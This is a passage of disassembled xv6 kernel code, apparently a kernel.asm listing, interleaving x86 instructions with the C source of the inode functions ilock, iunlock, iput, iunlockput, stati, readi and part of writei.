%ebx,%eax 80101666: 8b 5d fc mov -0x4(%ebp),%ebx 80101669: c9 leave 8010166a: c3 ret 8010166b: 90 nop 8010166c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101670 <ilock>: // Lock the given inode. // Reads the inode from disk if necessary. void ilock(struct inode *ip) { 80101670: 55 push %ebp 80101671: 89 e5 mov %esp,%ebp 80101673: 56 push %esi 80101674: 53 push %ebx 80101675: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) 80101678: 85 db test %ebx,%ebx 8010167a: 0f 84 b7 00 00 00 je 80101737 <ilock+0xc7> 80101680: 8b 53 08 mov 0x8(%ebx),%edx 80101683: 85 d2 test %edx,%edx 80101685: 0f 8e ac 00 00 00 jle 80101737 <ilock+0xc7> panic("ilock"); acquiresleep(&ip->lock); 8010168b: 8d 43 0c lea 0xc(%ebx),%eax 8010168e: 83 ec 0c sub $0xc,%esp 80101691: 50 push %eax 80101692: e8 59 2a 00 00 call 801040f0 <acquiresleep> if(ip->valid == 0){ 80101697: 8b 43 4c mov 0x4c(%ebx),%eax 8010169a: 83 c4 10 add $0x10,%esp 8010169d: 85 c0 test %eax,%eax 8010169f: 74 0f je 801016b0 <ilock+0x40> brelse(bp); ip->valid = 1; if(ip->type == 0) panic("ilock: no type"); } } 801016a1: 8d 65 f8 lea -0x8(%ebp),%esp 801016a4: 5b pop %ebx 801016a5: 5e pop %esi 801016a6: 5d pop %ebp 801016a7: c3 ret 801016a8: 90 nop 801016a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi panic("ilock"); acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016b0: 8b 43 04 mov 0x4(%ebx),%eax 801016b3: 83 ec 08 sub $0x8,%esp 801016b6: c1 e8 03 shr $0x3,%eax 801016b9: 03 05 f4 09 11 80 add 0x801109f4,%eax 801016bf: 50 push %eax 801016c0: ff 33 pushl (%ebx) 801016c2: e8 09 ea ff ff call 801000d0 <bread> 801016c7: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; 801016c9: 8b 43 04 mov 0x4(%ebx),%eax ip->type = dip->type; ip->major = dip->major; ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016cc: 83 c4 0c add $0xc,%esp acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; 801016cf: 83 e0 07 and $0x7,%eax 801016d2: c1 e0 06 shl $0x6,%eax 801016d5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax ip->type = dip->type; 801016d9: 0f b7 10 movzwl (%eax),%edx ip->major = dip->major; ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 801016dc: 83 c0 0c add $0xc,%eax acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; ip->type = dip->type; 801016df: 66 89 53 50 mov %dx,0x50(%ebx) ip->major = dip->major; 801016e3: 0f b7 50 f6 movzwl -0xa(%eax),%edx 801016e7: 66 89 53 52 mov %dx,0x52(%ebx) ip->minor = dip->minor; 801016eb: 0f b7 50 f8 movzwl -0x8(%eax),%edx 801016ef: 66 89 53 54 mov %dx,0x54(%ebx) ip->nlink = dip->nlink; 801016f3: 0f b7 50 fa movzwl -0x6(%eax),%edx 801016f7: 66 89 53 56 mov %dx,0x56(%ebx) ip->size = dip->size; 801016fb: 8b 50 fc mov -0x4(%eax),%edx 801016fe: 89 53 58 mov %edx,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101701: 6a 34 push $0x34 80101703: 50 push %eax 80101704: 8d 43 5c lea 0x5c(%ebx),%eax 80101707: 50 push %eax 80101708: e8 e3 2d 00 00 call 801044f0 <memmove> brelse(bp); 8010170d: 89 34 24 mov %esi,(%esp) 80101710: e8 cb ea ff ff call 801001e0 <brelse> ip->valid = 1; if(ip->type == 0) 80101715: 83 c4 10 add $0x10,%esp 80101718: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); brelse(bp); ip->valid = 1; 8010171d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101724: 0f 85 77 ff ff ff jne 801016a1 <ilock+0x31> panic("ilock: no type"); 8010172a: 83 ec 0c sub $0xc,%esp 8010172d: 68 50 70 10 80 push $0x80107050 80101732: e8 39 ec ff ff call 80100370 <panic> { struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) panic("ilock"); 80101737: 83 ec 0c sub $0xc,%esp 8010173a: 68 4a 70 10 80 push $0x8010704a 8010173f: e8 2c ec ff ff call 80100370 <panic> 80101744: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010174a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80101750 <iunlock>: } // Unlock the given inode. void iunlock(struct inode *ip) { 80101750: 55 push %ebp 80101751: 89 e5 mov %esp,%ebp 80101753: 56 push %esi 80101754: 53 push %ebx 80101755: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 80101758: 85 db test %ebx,%ebx 8010175a: 74 28 je 80101784 <iunlock+0x34> 8010175c: 8d 73 0c lea 0xc(%ebx),%esi 8010175f: 83 ec 0c sub $0xc,%esp 80101762: 56 push %esi 80101763: e8 28 2a 00 00 call 80104190 <holdingsleep> 80101768: 83 c4 10 add $0x10,%esp 8010176b: 85 c0 test %eax,%eax 8010176d: 74 15 je 80101784 <iunlock+0x34> 8010176f: 8b 43 08 mov 0x8(%ebx),%eax 80101772: 85 c0 test %eax,%eax 80101774: 7e 0e jle 80101784 <iunlock+0x34> panic("iunlock"); releasesleep(&ip->lock); 80101776: 89 75 08 mov %esi,0x8(%ebp) } 80101779: 8d 65 f8 lea -0x8(%ebp),%esp 8010177c: 5b pop %ebx 8010177d: 5e pop %esi 8010177e: 5d pop %ebp iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); releasesleep(&ip->lock); 8010177f: e9 cc 29 00 00 jmp 80104150 <releasesleep> // Unlock the given inode. void iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); 80101784: 83 ec 0c sub $0xc,%esp 80101787: 68 5f 70 10 80 push $0x8010705f 8010178c: e8 df eb ff ff call 80100370 <panic> 80101791: eb 0d jmp 801017a0 <iput> 80101793: 90 nop 80101794: 90 nop 80101795: 90 nop 80101796: 90 nop 80101797: 90 nop 80101798: 90 nop 80101799: 90 nop 8010179a: 90 nop 8010179b: 90 nop 8010179c: 90 nop 8010179d: 90 nop 8010179e: 90 nop 8010179f: 90 nop 801017a0 <iput>: // to it, free the inode (and its content) on disk. // All calls to iput() must be inside a transaction in // case it has to free the inode. void iput(struct inode *ip) { 801017a0: 55 push %ebp 801017a1: 89 e5 mov %esp,%ebp 801017a3: 57 push %edi 801017a4: 56 push %esi 801017a5: 53 push %ebx 801017a6: 83 ec 28 sub $0x28,%esp 801017a9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017ac: 8d 7e 0c lea 0xc(%esi),%edi 801017af: 57 push %edi 801017b0: e8 3b 29 00 00 call 801040f0 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017b5: 8b 56 4c mov 0x4c(%esi),%edx 801017b8: 83 c4 10 add $0x10,%esp 801017bb: 85 d2 test %edx,%edx 801017bd: 74 07 je 801017c6 <iput+0x26> 801017bf: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 801017c4: 74 32 je 801017f8 <iput+0x58> ip->type = 0; iupdate(ip); ip->valid = 0; } } releasesleep(&ip->lock); 801017c6: 83 ec 0c sub $0xc,%esp 801017c9: 57 push %edi 801017ca: e8 81 29 00 00 call 80104150 <releasesleep> acquire(&icache.lock); 801017cf: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp) 801017d6: e8 65 2b 00 00 call 80104340 <acquire> ip->ref--; 801017db: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 801017df: 83 c4 10 add $0x10,%esp 801017e2: c7 45 08 00 0a 11 80 movl $0x80110a00,0x8(%ebp) } 801017e9: 8d 65 f4 lea -0xc(%ebp),%esp 801017ec: 5b pop %ebx 801017ed: 5e pop %esi 801017ee: 5f pop %edi 801017ef: 5d pop %ebp } releasesleep(&ip->lock); acquire(&icache.lock); ip->ref--; release(&icache.lock); 801017f0: e9 fb 2b 00 00 jmp 801043f0 <release> 801017f5: 8d 76 00 lea 0x0(%esi),%esi void iput(struct inode *ip) { acquiresleep(&ip->lock); if(ip->valid && ip->nlink == 0){ acquire(&icache.lock); 801017f8: 83 ec 0c sub $0xc,%esp 801017fb: 68 00 0a 11 80 push $0x80110a00 80101800: e8 3b 2b 00 00 call 80104340 <acquire> int r = ip->ref; 80101805: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 80101808: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp) 8010180f: e8 dc 2b 00 00 call 801043f0 <release> if(r == 1){ 80101814: 83 c4 10 add $0x10,%esp 80101817: 83 fb 01 cmp $0x1,%ebx 8010181a: 75 aa jne 801017c6 <iput+0x26> 8010181c: 8d 8e 8c 00 00 00 lea 0x8c(%esi),%ecx 80101822: 89 7d e4 mov %edi,-0x1c(%ebp) 80101825: 8d 5e 5c lea 0x5c(%esi),%ebx 80101828: 89 cf mov %ecx,%edi 8010182a: eb 0b jmp 80101837 <iput+0x97> 8010182c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101830: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101833: 39 fb cmp %edi,%ebx 80101835: 74 19 je 80101850 <iput+0xb0> if(ip->addrs[i]){ 80101837: 8b 13 mov (%ebx),%edx 80101839: 85 d2 test %edx,%edx 8010183b: 74 f3 je 80101830 <iput+0x90> bfree(ip->dev, ip->addrs[i]); 8010183d: 8b 06 mov (%esi),%eax 8010183f: e8 ac fb ff ff call 801013f0 <bfree> ip->addrs[i] = 0; 80101844: c7 03 00 00 00 00 movl $0x0,(%ebx) 8010184a: eb e4 jmp 80101830 <iput+0x90> 8010184c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } if(ip->addrs[NDIRECT]){ 80101850: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101856: 8b 7d e4 mov -0x1c(%ebp),%edi 80101859: 85 c0 test %eax,%eax 8010185b: 75 33 jne 80101890 <iput+0xf0> bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; iupdate(ip); 8010185d: 83 ec 0c sub $0xc,%esp brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 80101860: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101867: 56 push %esi 80101868: e8 53 fd ff ff call 801015c0 <iupdate> int r = ip->ref; release(&icache.lock); if(r == 1){ // inode has no links and no other references: truncate and free. itrunc(ip); ip->type = 0; 8010186d: 31 c0 xor %eax,%eax 8010186f: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 80101873: 89 34 24 mov %esi,(%esp) 80101876: e8 45 fd ff ff call 801015c0 <iupdate> ip->valid = 0; 8010187b: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 80101882: 83 c4 10 add $0x10,%esp 80101885: e9 3c ff ff ff jmp 801017c6 <iput+0x26> 8010188a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101890: 83 ec 08 sub $0x8,%esp 80101893: 50 push %eax 80101894: ff 36 pushl (%esi) 80101896: e8 35 e8 ff ff call 801000d0 <bread> 8010189b: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx 801018a1: 89 7d e0 mov %edi,-0x20(%ebp) 801018a4: 89 45 e4 mov %eax,-0x1c(%ebp) a = (uint*)bp->data; 801018a7: 8d 58 5c lea 0x5c(%eax),%ebx 801018aa: 83 c4 10 add $0x10,%esp 801018ad: 89 cf mov %ecx,%edi 801018af: eb 0e jmp 801018bf <iput+0x11f> 801018b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801018b8: 83 c3 04 add $0x4,%ebx for(j = 0; j < NINDIRECT; j++){ 801018bb: 39 fb cmp %edi,%ebx 801018bd: 74 0f je 801018ce <iput+0x12e> if(a[j]) 801018bf: 8b 13 mov (%ebx),%edx 801018c1: 85 d2 test %edx,%edx 801018c3: 74 f3 je 801018b8 <iput+0x118> bfree(ip->dev, a[j]); 801018c5: 8b 06 mov (%esi),%eax 801018c7: e8 24 fb ff ff call 801013f0 <bfree> 801018cc: eb ea jmp 801018b8 <iput+0x118> } brelse(bp); 801018ce: 83 ec 0c sub $0xc,%esp 801018d1: ff 75 e4 pushl -0x1c(%ebp) 801018d4: 8b 7d e0 mov -0x20(%ebp),%edi 801018d7: e8 04 e9 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018dc: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 801018e2: 8b 06 mov (%esi),%eax 801018e4: e8 07 fb ff ff call 801013f0 <bfree> ip->addrs[NDIRECT] = 0; 801018e9: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 801018f0: 00 00 00 801018f3: 83 c4 10 add $0x10,%esp 801018f6: e9 62 ff ff ff jmp 8010185d <iput+0xbd> 801018fb: 90 nop 801018fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101900 <iunlockput>: } // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { 80101900: 55 push %ebp 80101901: 89 e5 mov %esp,%ebp 80101903: 53 push %ebx 80101904: 83 ec 10 sub $0x10,%esp 80101907: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010190a: 53 push %ebx 8010190b: e8 40 fe ff ff call 80101750 <iunlock> iput(ip); 80101910: 89 5d 08 mov %ebx,0x8(%ebp) 80101913: 83 c4 10 add $0x10,%esp } 80101916: 8b 5d fc mov -0x4(%ebp),%ebx 80101919: c9 leave // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); iput(ip); 8010191a: e9 81 fe ff ff jmp 801017a0 <iput> 8010191f: 90 nop 80101920 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101920: 55 push %ebp 80101921: 89 e5 mov %esp,%ebp 80101923: 8b 55 08 mov 0x8(%ebp),%edx 80101926: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101929: 8b 0a mov (%edx),%ecx 8010192b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010192e: 8b 4a 04 mov 0x4(%edx),%ecx 80101931: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101934: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101938: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010193b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010193f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101943: 8b 52 58 mov 0x58(%edx),%edx 80101946: 89 50 10 mov %edx,0x10(%eax) } 80101949: 5d pop %ebp 8010194a: c3 ret 8010194b: 90 nop 8010194c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101950 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101950: 55 push %ebp 80101951: 89 e5 mov %esp,%ebp 80101953: 57 push %edi 80101954: 56 push %esi 80101955: 53 push %ebx 80101956: 83 ec 1c sub $0x1c,%esp 80101959: 8b 45 08 mov 0x8(%ebp),%eax 8010195c: 8b 7d 0c mov 0xc(%ebp),%edi 8010195f: 8b 75 10 mov 0x10(%ebp),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101962: 66 83 78 50 03 cmpw $0x3,0x50(%eax) //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101967: 89 7d e0 mov %edi,-0x20(%ebp) 8010196a: 8b 7d 14 mov 0x14(%ebp),%edi 8010196d: 89 45 d8 mov %eax,-0x28(%ebp) 80101970: 89 7d e4 mov %edi,-0x1c(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101973: 0f 84 a7 00 00 00 je 80101a20 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101979: 8b 45 d8 mov -0x28(%ebp),%eax 8010197c: 8b 40 58 mov 0x58(%eax),%eax 8010197f: 39 f0 cmp %esi,%eax 80101981: 0f 82 c1 00 00 00 jb 80101a48 <readi+0xf8> 80101987: 8b 7d e4 mov -0x1c(%ebp),%edi 8010198a: 89 fa mov %edi,%edx 8010198c: 01 f2 add %esi,%edx 8010198e: 0f 82 b4 00 00 00 jb 80101a48 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 80101994: 89 c1 mov %eax,%ecx 80101996: 29 f1 sub %esi,%ecx 80101998: 39 d0 cmp %edx,%eax 8010199a: 0f 43 cf cmovae %edi,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 8010199d: 31 ff xor %edi,%edi 8010199f: 85 c9 test %ecx,%ecx } if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; 801019a1: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019a4: 74 6d je 80101a13 <readi+0xc3> 801019a6: 8d 76 00 lea 0x0(%esi),%esi 801019a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019b0: 8b 5d d8 mov -0x28(%ebp),%ebx 801019b3: 89 f2 mov %esi,%edx 801019b5: c1 ea 09 shr $0x9,%edx 801019b8: 89 d8 mov %ebx,%eax 801019ba: e8 21 f9 ff ff call 801012e0 <bmap> 801019bf: 83 ec 08 sub $0x8,%esp 801019c2: 50 push %eax 801019c3: ff 33 pushl (%ebx) m = min(n - tot, BSIZE - off%BSIZE); 801019c5: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019ca: e8 01 e7 ff ff call 801000d0 <bread> 801019cf: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019d1: 8b 45 e4 mov -0x1c(%ebp),%eax 801019d4: 89 f1 mov %esi,%ecx 801019d6: 81 e1 ff 01 00 00 and $0x1ff,%ecx 801019dc: 83 c4 0c add $0xc,%esp memmove(dst, bp->data + off%BSIZE, m); 801019df: 89 55 dc mov %edx,-0x24(%ebp) if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 801019e2: 29 cb sub %ecx,%ebx 801019e4: 29 f8 sub %edi,%eax 801019e6: 39 c3 cmp %eax,%ebx 801019e8: 0f 47 d8 cmova %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019eb: 8d 44 0a 5c lea 0x5c(%edx,%ecx,1),%eax 801019ef: 53 push %ebx if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019f0: 01 df add %ebx,%edi 801019f2: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); 801019f4: 50 push %eax 801019f5: ff 75 e0 pushl -0x20(%ebp) 801019f8: e8 f3 2a 00 00 call 801044f0 <memmove> brelse(bp); 801019fd: 8b 55 dc mov -0x24(%ebp),%edx 80101a00: 89 14 24 mov %edx,(%esp) 80101a03: e8 d8 e7 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a08: 01 5d e0 add %ebx,-0x20(%ebp) 80101a0b: 83 c4 10 add $0x10,%esp 80101a0e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a11: 77 9d ja 801019b0 <readi+0x60> bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; 80101a13: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a16: 8d 65 f4 lea -0xc(%ebp),%esp 80101a19: 5b pop %ebx 80101a1a: 5e pop %esi 80101a1b: 5f pop %edi 80101a1c: 5d pop %ebp 80101a1d: c3 ret 80101a1e: 66 90 xchg %ax,%ax { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a20: 0f bf 40 52 movswl 0x52(%eax),%eax 80101a24: 66 83 f8 09 cmp $0x9,%ax 80101a28: 77 1e ja 80101a48 <readi+0xf8> 80101a2a: 8b 04 c5 80 09 11 80 mov -0x7feef680(,%eax,8),%eax 80101a31: 85 c0 test %eax,%eax 80101a33: 74 13 je 80101a48 <readi+0xf8> return -1; return devsw[ip->major].read(ip, dst, n); 80101a35: 89 7d 10 mov %edi,0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; } 80101a38: 8d 65 f4 lea -0xc(%ebp),%esp 80101a3b: 5b pop %ebx 80101a3c: 5e pop %esi 80101a3d: 5f pop %edi 80101a3e: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); 80101a3f: ff e0 jmp *%eax 80101a41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; 80101a48: b8 ff ff ff ff mov $0xffffffff,%eax 80101a4d: eb c7 jmp 80101a16 <readi+0xc6> 80101a4f: 90 nop 80101a50 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a50: 55 push %ebp 80101a51: 89 e5 mov %esp,%ebp 80101a53: 57 push %edi 80101a54: 56 push %esi 80101a55: 53 push %ebx 80101a56: 83 ec 1c sub $0x1c,%esp 80101a59: 8b 45 08 mov 0x8(%ebp),%eax 80101a5c: 8b 75 0c mov 0xc(%ebp),%esi 80101a5f: 8b 7d 14 mov 0x14(%ebp),%edi uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a62: 66 83 78 50 03 cmpw $0x3,0x50(%eax) // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a67: 89 75 dc mov %esi,-0x24(%ebp) 80101a6a: 89 45 d8 mov %eax,-0x28(%ebp) 80101a6d: 8b 75 10 mov 0x10(%ebp),%esi 80101a70: 89 7d e0 mov %edi,-0x20(%ebp) uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a73: 0f 84 b7 00 00 00 je 80101b30 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a79: 8b 45 d8 mov -0x28(%ebp),%eax 80101a7c: 39 70 58 cmp %esi,0x58(%eax) 80101a7f: 0f 82 eb 00 00 00 jb 80101b70 <writei+0x120> 80101a85: 8b 7d e0 mov -0x20(%ebp),%edi 80101a88: 89 f8 mov %edi,%eax 80101a8a: 01 f0 add %esi,%eax return -1; if(off + n > MAXFILE*BSIZE) 80101a8c: 3d 00 18 01 00 cmp $0x11800,%eax 80101a91: 0f 87 d9 00 00 00 ja 80101b70 <writei+0x120> 80101a97: 39 c6 cmp %eax,%esi 80101a99: 0f 87 d1 00 00 00 ja 80101b70 <writei+0x120> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101a9f: 85 ff test %edi,%edi 80101aa1: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101aa8: 74 78 je 80101b22 <writei+0xd2> 80101aaa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ab0: 8b 7d d8 mov -0x28(%ebp),%edi 80101ab3: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101ab5: bb 00 02 00 00 mov $0x200,%ebx return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101aba: c1 ea 09 shr $0x9,%edx 80101abd: 89 f8 mov %edi,%eax 80101abf: e8 1c f8 ff ff call 801012e0 <bmap> 80101ac4: 83 ec 08 sub $0x8,%esp 80101ac7: 50 push %eax 80101ac8: ff 37 pushl (%edi) 80101aca: e8 01 e6 ff ff call 801000d0 <bread> 80101acf: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ad1: 8b 45 e0 mov -0x20(%ebp),%eax 80101ad4: 2b 45 e4 sub -0x1c(%ebp),%eax 80101ad7: 89 f1 mov %esi,%ecx 80101ad9: 83 c4 0c add $0xc,%esp 80101adc: 81 e1 ff 01 00 00 and $0x1ff,%ecx 80101ae2: 29 cb sub %ecx,%ebx 80101ae4: 39 c3 cmp %eax,%ebx 80101ae6: 0f 47 d8 cmova %eax,%ebx memmove(bp->data + off%BSIZE, src, m); 80101ae9: 8d 44 0f 5c lea 0x5c(%edi,%ecx,1),%eax 80101aed: 53 push %ebx 80101aee: ff 75 dc pushl -0x24(%ebp) if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101af1: 01 de add %ebx,%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(bp->data + off%BSIZE, src, m); 80101af3: 50 push %eax 80101af4: e8 f7 29 00 00 call 801044f0 <memmove> log_write(bp); 80101af9: 89 3c 24 mov %edi,(%esp) 80101afc: e8 2f 12 00 00 call 80102d30 <log_write> brelse(bp); 80101b01: 89 3c 24 mov %edi,(%esp) 80101b04: e8 d7 e6 ff ff call 801001e0 <brelse> if(off > ip->size || off + n < off) return -1; if(off + n > MAXFILE*BSIZE) return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b09: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b0c: 01 5d dc add %ebx,-0x24(%ebp) 80101b0f: 83 c4 10 add $0x10,%esp 80101b12: 8b 55 e4 mov -0x1c(%ebp),%edx 80101b15: 39 55 e0 cmp %edx,-0x20(%ebp) 80101b18: 77 96 ja 80101ab0 <writei+0x60> memmove(bp->data + off%BSIZE, src, m); log_write(bp); brelse(bp); } if(n > 0 && off > ip->size){ 80101b1a: 8b 45 d8 mov -0x28(%ebp),%eax 80101b1d: 3b 70 58 cmp 0x58(%eax),%esi 80101b20: 77 36 ja 80101b58 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b22: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b25: 8d 65 f4 lea -0xc(%ebp),%esp 80101b28: 5b pop %ebx 80101b29: 5e pop %esi 80101b2a: 5f pop %edi 80101b2b: 5d pop %ebp 80101b2c: c3 ret 80101b2d: 8d 76 00 lea 0x0(%esi),%esi { uint tot, m; struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b34: 66 83 f8 09 cmp $0x9,%ax 80101b38: 77 36 ja 80101b70 <writei+0x120> 80101b3a: 8b 04 c5 84 09 11 80 mov -0x7feef67c(,%eax,8),%eax 80101b41: 85 c0 test %eax,%eax 80101b43: 74 2b je 80101b70 <writei+0x120> return -1; return devsw[ip->major].write(ip, src, n); 80101b45: 89 7d 10 mov %edi,0x10(%ebp) if(n > 0 && off > ip->size){ ip->size = off; iupdate(ip); } return n; } 80101b48: 8d 65 f4 lea -0xc(%ebp),%esp 80101b4b: 5b pop %ebx 80101b4c: 5e pop %esi 80101b4d: 5f pop %edi 80101b4e: 5d pop %ebp struct buf *bp; if(ip->type == T_DEV){ if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); 80101b4f: ff e0 jmp *%eax 80101b51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 